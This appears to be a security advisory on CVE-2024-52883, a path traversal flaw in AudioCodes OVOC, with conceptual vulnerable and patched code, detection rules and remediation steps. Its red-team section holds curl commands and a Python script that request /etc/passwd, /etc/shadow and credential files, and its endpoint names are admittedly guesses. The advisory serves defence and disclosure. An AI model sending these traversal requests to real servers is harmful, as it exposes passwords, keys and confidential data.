CVE-2024-52883

Executive Summary

CVE-2024-52883 is a critical path traversal vulnerability in AudioCodes One Voice Operations Center (OVOC) prior to version 8.4.582. This flaw allows an unauthenticated attacker to read arbitrary files from the server filesystem, potentially exposing sensitive configuration data, credentials, and other confidential information. The vulnerability is classified as CWE-22 (Path Traversal) and has a CVSS v3.1 base score of 7.5 (High). No authentication is required for exploitation, making it a significant threat to unpatched systems. The vulnerability is publicly known, and proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects a proprietary enterprise application. Organizations using AudioCodes OVOC should treat this as a critical supply chain risk and prioritize patching.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can lead to complete disclosure of sensitive files.

Deep Dive & Mechanics

The vulnerability resides in the web interface of AudioCodes OVOC. The application fails to properly sanitize user-supplied input when handling file paths. By injecting path traversal sequences (e.g., ../), an attacker can escape the intended web root directory and access arbitrary files on the server.

Root Cause: The application uses user input to construct file paths without validating or sanitizing the input. For example, a request to /download?file=../../etc/passwd would be processed without checking for directory traversal patterns.

Attack Vector: An unauthenticated attacker sends a crafted HTTP GET request to the vulnerable endpoint, manipulating the file parameter to traverse directories.

Impact: Successful exploitation allows reading sensitive files such as:

• /etc/passwd (user account information)
• Application configuration files (e.g., config.xml, web.config)
• Database credentials stored in plaintext
• SSL/TLS private keys
• Log files containing session tokens or other sensitive data

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable endpoint
@app.route('/download')
def download_file():
    filename = request.args.get('file')
    # No input validation
    filepath = os.path.join('/var/www/ovoc/downloads', filename)
    return send_file(filepath)

Patched Code (Conceptual):

# Patched endpoint
import os

@app.route('/download')
def download_file():
    filename = request.args.get('file')
    # Sanitize input: remove path traversal sequences
    safe_filename = os.path.basename(filename)
    filepath = os.path.join('/var/www/ovoc/downloads', safe_filename)
    # Ensure the resolved path is within the allowed directory
    real_path = os.path.realpath(filepath)
    allowed_path = os.path.realpath('/var/www/ovoc/downloads')
    if not real_path.startswith(allowed_path):
        return "Access denied", 403
    return send_file(real_path)

The patched version uses os.path.basename() to strip directory components and then verifies that the resolved path is within the allowed directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running AudioCodes OVOC < 8.4.582
• Network access to the OVOC web interface (typically port 80 or 443)

Exploitation Steps:

1. Identify the vulnerable endpoint: The path traversal is likely in a file download functionality. Common endpoints include /download, /getFile, or /api/download.

2. Craft the exploit request:

   curl -v "http://target-ovoc/download?file=../../../../etc/passwd"
   

3. Extract sensitive files:

   # Read application configuration
   curl "http://target-ovoc/download?file=../../../../var/www/ovoc/config.xml"
   
   # Read database credentials
   curl "http://target-ovoc/download?file=../../../../var/www/ovoc/db.conf"
   

Automated Exploitation (Python):

import requests

target = "http://target-ovoc"
files_to_read = [
    "/etc/passwd",
    "/etc/shadow",
    "/var/www/ovoc/config.xml",
    "/var/www/ovoc/db.conf"
]

for file in files_to_read:
    payload = f"../../../../{file}"
    url = f"{target}/download?file={payload}"
    response = requests.get(url)
    if response.status_code == 200:
        print(f"[+] Retrieved {file}:")
        print(response.text)
    else:
        print(f"[-] Failed to retrieve {file}")

Blue Team

Detection & Response:

1. Monitor Web Logs: Look for requests containing ../ or ..\\ patterns in the URL parameters.

   grep -E '\.\./' /var/log/apache2/access.log
   

2. Deploy WAF Rules: Block requests with path traversal sequences.

   location /download {
       if ($args ~* "\.\.") {
           return 403;
       }
   }
   

3. Honeypot: Create a fake sensitive file (e.g., /var/www/ovoc/honeypot.txt) and monitor access to it.

4. Incident Response: If exploitation is detected:

   • Isolate the affected server immediately.
   • Review logs for data exfiltration.
   • Rotate all credentials stored on the server.
   • Apply the vendor patch or upgrade to version 8.4.582.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests with file parameter containing ../ sequences
• Requests to endpoints like /download, /getFile, /api/download
• Unusual outbound data transfers from the OVOC server

File System IOCs:

• Unexpected access to /etc/passwd, /etc/shadow, or application config files
• Modified timestamps on sensitive files

Log IOCs:

• Web server logs showing 200 responses to path traversal attempts
• Error logs with "File not found" for traversed paths

Detection Engineering

YARA Rule

rule CVE_2024_52883_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting AudioCodes OVOC"
        author = "Valters IT"
        date = "2024-12-01"
        cve = "CVE-2024-52883"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e/"
        $endpoint1 = "/download"
        $endpoint2 = "/getFile"
        $endpoint3 = "/api/download"
    condition:
        any of ($endpoint*) and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-52883 Path Traversal in AudioCodes OVOC
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts against AudioCodes OVOC
author: Valters IT
date: 2024-12-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e/'
        cs-uri-stem|contains:
            - '/download'
            - '/getFile'
            - '/api/download'
    condition: selection
falsepositives:
    - Legitimate use of '..' in file names (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-52883 - AudioCodes OVOC Path Traversal Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/download"; http_uri;
    content:"../"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade AudioCodes OVOC to version 8.4.582 or later.
2. Workaround: If patching is not immediately possible, restrict access to the OVOC web interface using firewall rules or VPN.
3. WAF: Deploy a Web Application Firewall (WAF) with rules to block path traversal patterns.

Long-term Measures:

• Implement input validation and sanitization for all user-supplied file paths.
• Use a whitelist of allowed files or directories.
• Apply the principle of least privilege to the web application process.
• Regularly audit and update third-party components.

Verification: After applying the patch, verify the fix by attempting the path traversal exploit:

curl -v "http://target-ovoc/download?file=../../../../etc/passwd"

Expected result: HTTP 403 or 404, not the file contents.

Valters IT
Securing Digital Frontiers